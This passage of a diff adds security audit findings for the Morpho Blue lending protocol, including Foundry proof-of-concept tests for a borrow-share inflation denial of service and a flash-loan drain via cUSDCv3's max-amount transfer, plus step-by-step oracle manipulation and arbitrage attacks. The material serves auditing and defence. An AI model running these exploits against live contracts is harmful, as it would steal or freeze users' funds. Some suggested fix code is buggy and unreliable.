+uint256 internal constant VIRTUAL_ASSETS = 1;
+```
+
+In `repay()`, whenever `shares` is specified, the calculation for `asset` rounds up:
+
+```solidity
+else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+```
+
+As such, if `repay()` is called with `shares = 1`, `assets` will also round up to `1`, which means that only `1` share is burned when repaying `1` asset.
+
+However, this does not follow the shares to assets ratio as `1` asset is actually worth `1e6` shares. An attacker can exploit this to inflate `totalBorrowShares`:
+
+1. Assume a market starts with `1e6` shares and `1` asset.
+2. Call `borrow()` with `assets = 1`, which mints `1e6` shares.
+3. Call `repay()` with `shares = 1`, which burns `1` share and `1` asset.
+4. Now, the market has `2e6 - 1` shares and `1` asset.
+5. Therefore, the shares to assets ratio has doubled.
+
+By repeating steps 2 and 3, the attacker can inflate `totalBorrowShares` until it is close to `uint128` max. This will cause `borrow()` to revert with an arithmetic overflow whenever it is called, since borrowing any substantial amount of assets will attempt to mint an amount of shares greater than `uint128` max, causing the market to be DOSed.
+
+The following POC demonstrates that an attacker needs to repeat steps 2 and 3 exactly 108 times for `borrow()` to always revert when borrowing any amount of assets:
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "test/forge/BaseTest.sol";
+
+contract BorrowTest is BaseTest {
+ function test_canInflateTotalBorrowShares() public {
+ // Add supply and collateral for address(this)
+ _supply(1e18);
+ _supplyCollateralForBorrower(address(this));
+
+ // Repeatedly repay 1 asset for burning 1 share
+ for (uint256 i; i < 108; i++) {
+ morpho.borrow(marketParams, 1, 0, address(this), address(this));
+ morpho.repay(marketParams, 0, 1, address(this), "");
+ }
+
+ // totalBorrowShares is now larger than 1e38
+ assertGt(morpho.market(id).totalBorrowShares, 1e38);
+
+ // Borrowing 1 asset reverts with arithmetic overflow
+ vm.expectRevert(stdError.arithmeticError);
+ morpho.borrow(marketParams, 1, 0, address(this), address(this));
+ }
+}
+```
+
+**Recommendation:**
+
+Consider adding a lower bound for the amount of shares that is burned in `repay()`.
+
+
+
+### Snowball effect can happen if the liquidation volume is too big
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+When positions with a huge amount of collateral are liquidated at once, the market interprets such a large acquisition of collateral as a sell-signal for these asset types. Remember: the assets acquired in liquidation are purchased at a discount, per the protocol’s liquidator incentives policy.
+
+One large liquidation can create a snowball of liquidations as sell pressure rises. Other market participants may sell their assets too, causing the asset’s price to further “dump” which in turn leads to even more liquidations of other positions in the protocol. AAVE and other protocols have this sorted out by setting a limit on how much volume can be liquidated in a single liquidation call. AAVE has the ```LIQUIDATION_CLOSE_FACTOR_PERCENT``` set to ```50%``` which means that only half of the position can get liquidated in a single call.
+
+Liquidators have an incentive to break up their liquidations into smaller chunks, too. If, at the time of liquidation, there was not enough liquidity in the market for the collateral asset to be provided to the liquidator in full. By breaking liquidations into smaller chunks, liquidators have a higher chance of receiving liquid assets and reaping profits from their liquidations.
+
+
+- **Recommendation**:
+Implement a check that limits the volume of assets that a single liquidation can seize.
+
+
+
+### Flashloans could be exploited by safeTransferFrom with non standard tokens.
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L415-L424](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415-L424)
+
+- Description
+
+Flashloan allows any IERC20 token held by the morpho contract to be loaned to a user for the duration of the transaction. There is no restriction on what token, so it is simply limited to the tokens held by the account, which may relate to markets that have different metamorpho contracts managing them. As such it is possible for unique tokens being taken advantage of.
+
+In the case of cUSDCv3, when transfers of `type(uint256).max` are made, it does not necessarily transfer that exact amount instead it transfers the maximum held by that address. As such a malicious user could do the following;
+
+1. An attacker with `address1` starts a `flashLoan()` with a token like cUSDCv3 and specify the `type(uint256).max` as the transfer amount. This will transfer the maximum amount available to Morpho.
+2. when the callback is triggered they can transfer the majority of the funds to a second account `address2` in the attackers control leaving `1 wei` balance
+3. when execution returns to the Morpho contract it attempts to call `IERC20(token).safeTransferFrom(msg.sender, address(this), assets)`, however the asset amount is still `type(uint256).max` which will transfer the maximum amount available to the `address1` which is `1 wei`.
+
+The implied revert never occurs even with the use of `safeTransferFrom` and the token balances before and after do not reflect reality of the transfer situation.
+
+- Recommendation
+
+Flash loans require invariant checks. Actual balance checks before and after must be performed to ensure compliance. Alternatively the protocol could consider a maximum cap on the available flashloan amount.
+
+
+
+### Inherent risk in `isAuthorized` approach could lead to uncontrolled fund access
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L429-L429](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L429-L429)
+
+**Description**:
+The current implementation of authorization in the Morpho contract is binary, meaning that when a user grants permission to another contract or external owned account (EOA), they are giving full control over their account. This approach poses significant risks, especially if the keys of an EOA are compromised or if a contract turns out to be malicious (or is upgraded to a malicious version). In such cases, these entities could have unrestricted access to the user's assets. Additionally, if a user attempts to revoke this permission, there's a risk of the malicious entity front-running the transaction to maintain access.
+
+**Recommendation**:
+To mitigate these risks and provide users with more granular control over their permissions, it is recommended to implement an authorization mechanism akin to the ERC20 allowance system. This would involve users specifying allowances for different actions, such as `withdrawAllowance`, `borrowAllowance`, and `withdrawCollateralAllowance`. Each of these allowances would define limits on the amount that the authorized entity can transact with, rather than an all-or-nothing approach. This change would enable users to have finer control over what they permit other entities to do with their assets, enhancing the security and flexibility of the authorization system. Implementing such a system would likely involve significant changes to the contract's authorization logic, including additional storage variables to track allowances and modified logic in functions that currently check for binary authorization.
+
+Example of draft implementation of a granular user control.
+```solidity
+......
+
+contract Morpho is IMorphoStaticTyping {
+ ......
+ mapping(address => mapping(address => uint256)) public withdrawAllowance;
+ mapping(address => mapping(address => uint256)) public borrowAllowance;
+ mapping(address => mapping(address => uint256)) public withdrawCollateralAllowance;
+
+ ......
+
+ function setAuthorization(address spender, uint256 withdrawAllowance, uint256 borrowAllowance, uint256 withdrawCollateralAllowance) external {
+ withdrawAllowance[msg.sender][spender] = newWithdrawAllowance;
+ borrowAllowance[msg.sender][spender] = newWithdrawAllowance;
+ withdrawCollateralAllowance[msg.sender][spender] = newWithdrawAllowance;
+
+ // @todo emit event
+ }
+
+ // optional, add a granular options;
+ function withdrawAllowance(address spender, uint256 newWithdrawAllowance) public {
+ withdrawAllowance[msg.sender][spender] = newWithdrawAllowance;
+ // @todo emit event
+ }
+ function borrowAllowance(address spender, uint256 newWithdrawAllowance) public {
+ borrowAllowance[msg.sender][spender] = newWithdrawAllowance;
+ // @todo emit event
+ }
+ function withdrawCollateralAllowance(address spender, uint256 newWithdrawAllowance) public {
+ withdrawCollateralAllowance[msg.sender][spender] = newWithdrawAllowance;
+ // @todo emit event
+ }
+
+ ....
+
+
+ function _spendWithdrawAllowance(address onBehalf) internal {
+ if (msg.sender == onBehalf) return;
+ uint256 allowed = withdrawAllowance[onBehalf][msg.sender]; // Saves gas for limited approvals.
+ // @dev if user have no allowance, allowed will revert due arithmetic underflow, might be worth add a custom error
+ if (allowed != type(uint256).max) withdrawAllowance[from][msg.sender] = allowed - amount;
+ }
+
+ function _spendBorrowAllowance(address onBehalf) internal {
+ if (msg.sender == onBehalf) return;
+ uint256 allowed = borrowAllowance[onBehalf][msg.sender]; // Saves gas for limited approvals.
+ // @dev if user have no allowance, allowed will revert due arithmetic underflow, might be worth add a custom error
+ if (allowed != type(uint256).max) borrowAllowance[from][msg.sender] = allowed - amount;
+ }
+
+ function _spendWithdrawCollateralAllowance(address onBehalf) internal {
+ if (msg.sender == onBehalf) return;
+ uint256 allowed = withdrawCollateralAllowance[onBehalf][msg.sender]; // Saves gas for limited approvals.
+ // @dev if user have no allowance, allowed will revert due arithmetic underflow, might be worth add a custom error
+ if (allowed != type(uint256).max) withdrawCollateralAllowance[from][msg.sender] = allowed - amount;
+ }
+
+ .......
+
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ ..........
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ _spendWithdrawAllowance(onBehalf);
+ ...........
+ }
+
+ .......
+
+ function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ .........
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ _spendBorrowAllowance(onBehalf);
+
+ .........
+
+ }
+
+ ........
+
+ function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+ external
+ {
+ .........
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ _spendWithdrawCollateralAllowance(onBehalf);
+
+ .........
+ }
+
+ .......
+
+}
+```
+
+
+
+### Consider using a two step process to transfer ownership of the contract.
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The MorphoBlue contract's owner is set in the constructor at the contract deployment.
+However, it's possible to make a mistake in transferring the ownership by specifying the wrong owner address. This would result in a wasted contract deployment.
+To avoid such an issue, consider using a two step process to transfer ownership at deployment.
+
+
+
+### Excess balance of rebasing tokens is frozen in Morpho contract _(this issue has been rejected)_
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+**Severity:** Despite the real impacts of the present issue, not supporting rebasing tokens seems to be a design choice. Nevertheless, it's worth to mention, therefore this issue is submitted as `Informational`.
+
+There are rebasing tokens - mostly liquid staking like [Lido stETH](https://etherscan.io/address/0xae7ab96520de3a18e5e111b5eaab095312d7fe84) or interest bearing like [Aave aUSDC](https://etherscan.io/address/0xbcca60bb61934080951369a648fb03df4f96263c) - where each holder's balance increases over time. However, Morpho Blue performs its own internal token balance accounting which does not account for the real underlying balances at all. As a consequence, excess balances from rebasing tokens are not accounted for and cannot be withdrawn, i.e. they are frozen in the Morpho contract.
+
+
+
+
+
+### Deviation in oracle price could lead to arbitrage in high LLTV markets
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+
+- [Morpho.sol#L521-L522](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L521-L522)
+- [ChainlinkOracle.sol#L116-L121](https://github.com/morpho-org/morpho-blue-oracles/blob/d351d3e59b207729d785ec568ed0d2ee24498189/src/ChainlinkOracle.sol#L116-L121)
+
+**Description:**
+
+In Morpho Blue, the maximum amount a user can borrow is calculated with the conversion rate between `loanToken` and `collateralToken` returned by an oracle:
+
+```solidity
+uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+```
+
+`collateralPrice` is fetched by calling the oracle's `price()` function. For example, the `price()` function in `ChainlinkOracle.sol` is as such.
+
+```solidity
+function price() external view returns (uint256) {
+ return SCALE_FACTOR.mulDiv(
+ VAULT.getAssets(VAULT_CONVERSION_SAMPLE) * BASE_FEED_1.getPrice() * BASE_FEED_2.getPrice(),
+ QUOTE_FEED_1.getPrice() * QUOTE_FEED_2.getPrice()
+ );
+}
+```
+
+However, all price oracles are susceptible to front-running as their prices tend to lag behind an asset's real-time price. More specifically:
+
+- Chainlink oracles are updated after the change in price crosses a deviation threshold, (eg. [2.5% in ETH / USD](https://data.chain.link/ethereum/mainnet/crypto-usd/eth-usd)), which means a price feed could return a value slightly smaller/larger than an asset's actual price under normal conditions.
+- Uniwap V3 TWAP returns the average price over the past X number of blocks, which means it will always lag behind the real-time price.
+
+An attacker could exploit the difference between the price reported by an oracle and the asset's actual price to gain a profit by front-running the oracle's price update.
+
+For Morpho Blue, this becomes profitable when the price deviation is sufficiently large for an attacker to open positions that become bad debt. Mathematically, arbitrage is possible when:
+
+$$ price\ deviation \gt { 1 \over LIF } - LLTV $$
+
+The likelihood of this condition becoming true is significantly increased when `ChainlinkOracle.sol` is used as the market's oracle with multiple Chainlink price feeds.
+
+As seen from above, the conversion rate between `loanToken` and `collateralToken` is calculated with multiple price feeds, with each of them having their own deviation threshold. This amplifies the maximum possible price deviation returned by `price()`.
+
+For example:
+- Assume a market has WBTC as `collateralToken` and FTM as `loanToken`.
+- Assume the following prices:
+ - 1 BTC = 40,000 USD
+ - 1 FTM = 1 USD
+ - 1 ETH = 2000 USD
+- `ChainlinkOracle` will be set up as such:
+ - `BASE_FEED_1` - [WBTC / BTC](https://data.chain.link/ethereum/mainnet/crypto-other/wbtc-btc), 2% deviation threshold
+ - `BASE_FEED_2` - [BTC / USD](https://data.chain.link/ethereum/mainnet/crypto-usd/btc-usd), 0.5% deviation threshold
+ - `QUOTE_FEED_1` - [FTM / ETH](https://data.chain.link/ethereum/mainnet/crypto-eth/ftm-eth), 3% deviation threshold
+ - `QUOTE_FEED_2` - [ETH / USD](https://data.chain.link/ethereum/mainnet/crypto-usd/eth-usd), 0.5% deviation threshold
+- Assume that all price feeds are at their deviation threshold:
+ - WBTC / BTC returns 98% of `1`, which is `0.98`.
+ - BTC / USD returns 99.5% of `40000`, which is `39800`.
+ - FTM / ETH returns 103% of `1 / 2000`, which is `0.000515`.
+ - ETH / USD returns 100.5% of `2000`, which is `2010`.
+- The actual conversion rate of WBTC to FTM is:
+ - `(0.98 * 39800) / (0.000515 * 2010) = 37680`
+ - i.e. 1 WBTC = 37,680 FTM.
+- Compared to 1 WBTC = 40,000 FTM, the maximum price deviation is 5.8%.
+
+To demonstrate how a such a deviation in price could lead to arbitrage:
+- Assume the following:
+ - A market has 95% LLTV, with WBTC as collateral and FTM as `loanToken`.
+ - 1 WBTC is currently worth 40,000 FTM.
+- The price of WBTC drops while FTM increases in value, such that 1 WBTC = 37,680 FTM.
+- All four Chainlink price feeds happen to be at their respective deviation thresholds as described above, which means the oracle's price is not updated in real time.
+- An attacker sees the price discrepancy and front-runs the oracle price update to do the following:
+ - Deposit 1 WBTC as collateral.
+ - Borrow 38,000 FTM, which is the maximum he can borrow at 95% LLTV and 1 WBTC = 40,000 FTM conversion rate.
+- Afterwards, the oracle's conversion rate is updated to 1 WBTC = 37,680 FTM:
+ - Attacker's position is now unhealthy as his collateral is worth less than his loaned amount.
+- Attacker back-runs the oracle price update to liquidate himself:
+ - At 95% LLTV, LIF = 100.152%.
+ - To seize 1 WBTC, he repays 37,115 FTM:
+ - `seizedAssets / LIF = 1 WBTC / 1.0152 = 37680 FTM / 1.0152 = 37115 FTM`
+- He has gained 885 FTM worth of profit using 37,680 FTM, which is a 2.3% arbitrage opportunity.
+
+This example proves the original condition stated above for arbitrage to occur, as:
+
+$$ price\ deviation - ({ 1 \over LIF } - LLTV) = 5.8\% - ({ 1 \over 100.152\% } - 95\%)=\ \sim2.3\%$$
+
+Note that all profit gained from arbitrage causes a loss of funds for lenders as the remaining bad debt is socialized by them.
+
+**Recommendation:**
+
+Consider implementing a borrowing fee to mitigate against arbitrage opportunities. Ideally, this fee would be larger than the oracle's maximum price deviation so that it is not possible to profit from arbitrage.
+
+Further possible mitigations have also been explored by other protocols:
+
+- [Angle Protocol: Oracles and Front-Running](https://medium.com/angle-protocol/angle-research-series-part-1-oracles-and-front-running-d75184abc67)
+- [Liquity: The oracle conundrum](https://www.liquity.org/blog/the-oracle-conundrum)
+
+
+
+### Test issue
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Test
+This is a test issue to submit. This will be removed soon.
+
+
+
+### Oracles should be whitelisted to avoid theft by direct price manipulation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+**Severity:** Despite the real impacts of the present issue, imposing no restrictions on oracles seems to be a design choice. Nevertheless, it's worth to mention, therefore this issue is submitted as `Informational`.
+
+Consider the following attack vector:
+1. A malicious actor could create a custom oracle that implements the `IOracle` interface, relies on a Chainlink price feed, but also allows the owner to set a custom price.
+2. Using this oracle, they could create a market with legitimate collateral / loan tokens and supply a significant amount of loan tokens to the market in order to attract borrowers.
+3. Let the oracle be "well-behaved" for months and forward the Chainlink price feed.
+4. Once there are enough borrowers, the malicious actor could manually set the collateral price close to zero and liquidate all borrowers for a negligible repayment within a single transaction, i.e. effectively stealing the borrowers' collateral.
+5. Afterwards, the malicious actor can withdraw their own loan token supply.
+6. In case other users have supplied loan tokens since market creation, the malicious actor could set the collateral price extremely high and borrow all the remaining supply for a negligible amount of collateral without the intent to repay, i.e. effectively stealing the other lenders' supply and leaving them with bad debt.
+
+All in all, fake tokens would be easy to spot, but custom oracles are not. Therefore, I suggest to whitelist oracles the same way as LLTV percentages and IRMs need to be whitelisted.
+
+
+
+### Add named return values
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Consider adding named return variables in the funcions for a better readability and slight gas optimization.
+
+
+
+### Free flashloans
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The Morpho Blue flashloans are intended to be free, but it would be good adding a very low fee at least, because users may make profits using market suppliers' tokens without paying anything to them. Additionally , this increases the loss risk for liquidity suppliers.
+
+
+
+### No flashloan limit
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+It is a good practice to set a limit on the flashloan amount a user can take. Check OpenZeppelin's flashloan [ERC3156 flashloan standard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/interfaces/IERC3156FlashLender.sol).
+
+
+
+### Any malicious flashloaner can drain contract of all of its token (for some specific tokens) _(duplicate of [Flashloans could be exploited by safeTransferFrom with non standard tokens.])_
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L415-L415](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415-L415)
+
+
+**Description**:
+The `flashloan()` is naive. The vulnerability identified pertains to specific tokens, such as cUSDCv3, where the internal transfer implementation behaves unexpectedly when the input amount is type(uint256).max. In these scenarios, the transfer function alters the input `amount` to the balance of the caller / sender (`transfer()`,`transfreFrom()` respectively), effectively transferring the entire balance to the recipient.
+
+An attacker can exploit this vulnerability by specifying type(uint256).max as the input amount in the flashLoan function call. This action allows the attacker to drain the entire token balance held in Morpho.sol. By transferring the tokens out to a separate address (leaving dust behind) before the `transferFrom()` line is executed, the contract transfers back from the attacker its remaining dust balance only (and silently) causing a significant loss to the contract's holdings.
+This is cUSDCv3 `internal transfer()` implementation:
+```javascript
+ function transferInternal(address operator, address src, address dst, address asset, uint amount) internal {
+ if (isTransferPaused()) revert Paused();
+ if (!hasPermission(src, operator)) revert Unauthorized();
+ if (src == dst) revert NoSelfTransfer();
+
+ if (asset == baseToken) {
+ if (amount == type(uint256).max) {
+ amount = balanceOf(src);
+ }
+ return transferBase(src, dst, amount);
+ } else {
+ return transferCollateral(src, dst, asset, safe128(amount));
+ }
+ }
+
+```
+
+Attack Steps:
+
+- Attacker initiates a flash loan with type(uint256).max as the input amount.
+- Contract transfers the entire token balance to the attacker.
+- Attacker swiftly transfers the tokens out to his different address by implementing this transfer in his `onMorphoFlashLoan()` callback function. perhaps leaving dust.
+- The transferFrom line executes, returning only the attacker's dust balance.
+- Morho drained of token permanently.
+
+**POC**:
+```javascript
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import "forge-std/console.sol";
+import {Morpho, MarketParams, Id} from "../src/Morpho.sol";
+import {MarketParamsLib} from "../src/libraries/MarketParamsLib.sol";
+import {MathLib} from "../src/libraries/MathLib.sol";
+import {IMorpho} from "../../src/interfaces/IMorpho.sol";
+import {cUSDCv3BasicTokenImplementation} from "./BasicToken.sol";
+import {IERC20} from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
+
+contract FlashloanExploit is Test {
+ //==========Contracts======
+ Morpho morpho;
+ //IMorpho imorpho;
+ IERC20 cUSDCv3;
+
+ //==========addresses======
+ address morphoadmin = makeAddr("morphoadmin");
+ address loantoken = makeAddr("loantoken");
+ address collateralToken; //cUSDCv3
+ address irm = makeAddr("irm");
+ address SUPPLIER = makeAddr("Supplier");
+ address MALICIOUS_ALLY = makeAddr("MALICIOUS_ALLY");
+ address oracle = makeAddr("oracle");
+
+ //==========setUp======
+ function setUp() public {
+ cUSDCv3 = IERC20(address(new cUSDCv3BasicTokenImplementation()));
+ collateralToken = address(cUSDCv3);
+ morpho = new Morpho(morphoadmin);
+
+ vm.startPrank(morphoadmin);
+ morpho.enableIrm(irm);
+ morpho.enableLltv(500);
+
+ deal(address(cUSDCv3), SUPPLIER, 2e6 * 1e18, true);
+
+ changePrank(address(this)); // This contract serves as the attacker contract
+ cUSDCv3.approve(address(morpho), type(uint256).max);
+
+ changePrank(SUPPLIER); // supplier of cUSDCv3 to Morpho market.
+ cUSDCv3.approve(address(morpho), type(uint256).max);
+
+ }
+
+ //=======================================Exploit=======================================//
+ //=====================================================================================//
+ function testDrainMorphoWithFlashloan() public {
+ (uint amt, address token) = _supplyCollat();
+ morpho.flashLoan(token,type(uint256).max, hex"");
+ console.log("balAfterFloan",cUSDCv3.balanceOf(address(this)));
+ assertEq(cUSDCv3.balanceOf(address(morpho)), 1, "morpho not drained");
+ assertEq(cUSDCv3.balanceOf(MALICIOUS_ALLY), amt -1, "ally not holding fund");
+ assertEq(cUSDCv3.balanceOf(address(this)), 0, "this contract holds fund");
+ }
+
+ //=====FlashloanCallbk======
+
+ function onMorphoFlashLoan(uint256 assets, bytes calldata data) external{
+ console.log("balOnFloan",cUSDCv3.balanceOf(address(this)));
+ if (assets == type(uint256).max){
+ cUSDCv3.transfer(MALICIOUS_ALLY,cUSDCv3.balanceOf(address(this)) - 1);
+ }
+ }
+
+ //=======================================Util_Functions=======================================//
+ //===========================================================================================//
+ function generateMarketParameter() internal view returns(MarketParams memory){
+ MarketParams memory param;
+ param.loanToken = loantoken;
+ param.collateralToken = collateralToken;
+ param.oracle = oracle;
+ param.irm = irm;
+ param.lltv = 500;
+ return param;
+ }
+
+ function createMarket()internal returns(Id,MarketParams memory) {
+ MarketParams memory param = generateMarketParameter();
+ Id id1 = morpho.createMarket(param);
+ return (id1, param);
+ }
+
+ function _supplyCollat() internal returns(uint, address){
+ uint collatamt = 1e6 * 1e18;
+ (Id marketId,MarketParams memory param) = createMarket();
+ vm.prank(SUPPLIER);
+ morpho.supplyCollateral(param,collatamt,SUPPLIER,hex"");
+ return (collatamt,param.collateralToken);
+ }
+
+}
+
+```
+**Recommendation**:
+Due to the fact that tokens can implement various unexpected behaviours, its safer to implement as thus:
+ `uint balanceBefore` should be checked, then `uint balanceAfter` should be required to be > = `balanceBefore`.
+```javascript
+function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ uint256 balanceBefore = IERC20(token).balanceOf(address(this));
+
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+
+ uint256 balanceAfter = IERC20(token).balanceOf(address(this));
+ require(balanceAfter >= balanceBefore, "Insufficient funds after flash loan");
+
+
+}
+
+
+```
+
+
+
+### Risk to all user's positions in case of leaked/stolen private keys of authorized addresses
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+
+When a user grants authorization to an external wallet to manage their positions, the current implementation poses a security risk. If the private keys associated with authorized addresses are compromised, an attacker gains access to the user's positions across all markets.
+
+- Detail
+
+Users have the ability to authorize external addresses to perform actions on their behalf, such as asset withdrawals, borrowing, and collateral withdrawals. Two functions, [setAuthorization](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L428) and [setAuthorizationWithSig](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L435), facilitate this authorization.
+
+The **isAuthorized** mapping is pivotal in tracking entities authorized to interact with markets on behalf of others. This mapping is employed within the [_isSenderAuthorized](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L455) function. This function is used in methods such as [withdraw](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197), [borrow](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232), and [withdrawCollateral](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L320) to verify authorization.
+
+The current implementation allows authorized wallets to operate across all markets, possibly for enhanced user experience but at the expense of security. In the event of a compromise of authorized wallet keys, an attacker can exploit this design to withdraw funds from all markets associated with the victim.
+
+- Recommended Mitigation Steps
+
+To enhance security, consider updating the isAuthorized mapping to include information about the authorized markets explicitly. You may introduce a new mapping specifically for authorizing wallets to interact with all markets, providing users with the option to choose their level of authorization.
+
+
+
+
+### Consider adding a 2 step transfer of ownership
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+This method is more foolproof as the new admin will have to accept the admin role, and eliminates a case where the admin role could be sent to a wrong address.
+
+
+
+### Consider seizing supplied assets in case of liquidation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+In order to further avoid bad debt, consider adding a feature to repay bad debt with assets from another pool.
+
+
+
+### Structs can use one less storage slot
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+By converting nonce and deadline in the Authorization struct from 256 bits to 128 bits, the struct saves a storage slot, as both variables will be stored in the same slot instead of occupying two.
+
+```solidity
+struct Authorization {
+ address authorizer;
+ address authorized;
+ bool isAuthorized;
+ uint256 nonce; // convert to 128 as well
+ uint256 deadline;
+}
+```
+
+Same can be done by converting `lltv` from 256 bits to 64 bits, since `lltv` can't be higher than 1e18 and `typeof(uint64).max == 1.84e19`, the slot can store 160 bits from the IRM address + 64 bits from the lltv, a total of 224.
+```solidity
+struct MarketParams {
+ address loanToken;
+ address collateralToken;
+ address oracle;
+ address irm;
+ uint256 lltv;
+}
+```
+
+If this change is to be introduced, don't forget to modify the bytes length in `MarketParamsLib.sol` to the values shown below:
+
+```solidity
+uint256 internal constant MARKET_PARAMS_BYTES_LENGTH = 4 * 32;
+```
+
+
+
+### Missing 0 check in `setFeeRecipient`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The owner of the protocol can call the `setFeeRecipient` with 0 as input which can lead to burned protocol fees until the mistake is caught and fixed by recalling the same function with the correct address.
+
+**Recommendation**:
+
+Implement a 0 address check similar to the one available in other functions within the project (ex. supply, withdraw ...)
+
+```diff
+ /// @inheritdoc IMorphoBase
+ function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+++ require(newFeeRecipient!= address(0), ErrorsLib.ZERO_ADDRESS);
+
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+ }
+```
+
+
+
+### Suboptimal implementation of `function setFee()`
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L123-L123](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L123-L123)
+
+**Description**:
+The `setFee()` function is not vulnerable per se. However there exists a more optimized version of its implementation allowing for setting fees of multiple markets in 1 transaction. This proposed version introduces these features:
+- Sets multiple markets fee in 1 tx
+- Gas efficient relative to equivalent multiple tx.
+- Still retains ability to set only 1 market.
+- Actually achieves all above with same or increased security
+- Actually achieves all above with increased efficiency imo.
+
+Below would have been the batching implementation of the `setFee()`. However, still not most secure imo. Please see recommendation section for the most optimal version of it (The proposed Implementation).
+```javascript
+ function setFee(MarketParams [] memory marketParams, uint256[] newfees) external onlyOwner {
+ uint cacheLengthParams = marketParams.length;
+ uint cacheLengthnewfees = newfees.length;
+ require(cacheLengthParams == cacheLengthnewfees, "invalid array lengths");
+ for(uint i; i < cacheLengthParams; i++) {
+ Id id = marketParams[i].id()
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(newfees[i] != market[id].fee, ErrorsLib.ALREADY_SET); // use if statement to skip discontinue flow
+ require(newfees[i] <= MAX_FEE, ErrorsLib.MAX_FEE_EXCEEDED);
+
+ // Accrue interest using the previous fee set before changing it.
+ _accrueInterest(marketParams, id);
+
+ // Safe "unchecked" cast.
+ market[id].fee = uint128(newfees[i]);
+
+ emit EventsLib.SetFee(id, newfees[i]);
+ }
+ }
+
+```
+
+**Recommendation**:
+```javascript
+function setFee(MarketParams [] memory marketParams, uint256[] memory newfees) external onlyOwner {
+ uint cacheLengthParams = marketParams.length;
+ uint cacheLengthnewfees = newfees.length;
+ require(cacheLengthParams == cacheLengthnewfees, "invalid array lengths");
+ for(uint i; i < cacheLengthParams; i++) {
+ Id id = marketParams[i].id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ if (newfees[i] == market[id].fee) {
+ continue;
+ }
+ require(newfees[i] <= MAX_FEE, ErrorsLib.MAX_FEE_EXCEEDED);
+
+ // Accrue interest using the previous fee set before changing it.
+ _accrueInterest(marketParams[i], id);
+
+ // Safe "unchecked" cast.
+ market[id].fee = uint128(newfees[i]);
+
+ emit EventsLib.SetFee(id, newfees[i]);
+ }
+ }
+
+```
+Note:
+- ` require(newfees[i] != market[id].fee, ErrorsLib.ALREADY_SET);` is removed and replaced with:
+```javascript
+if (newfees[i] == market[id].fee) {
+ continue;
+ }
+
+```
+This Introduces these effectiveness:
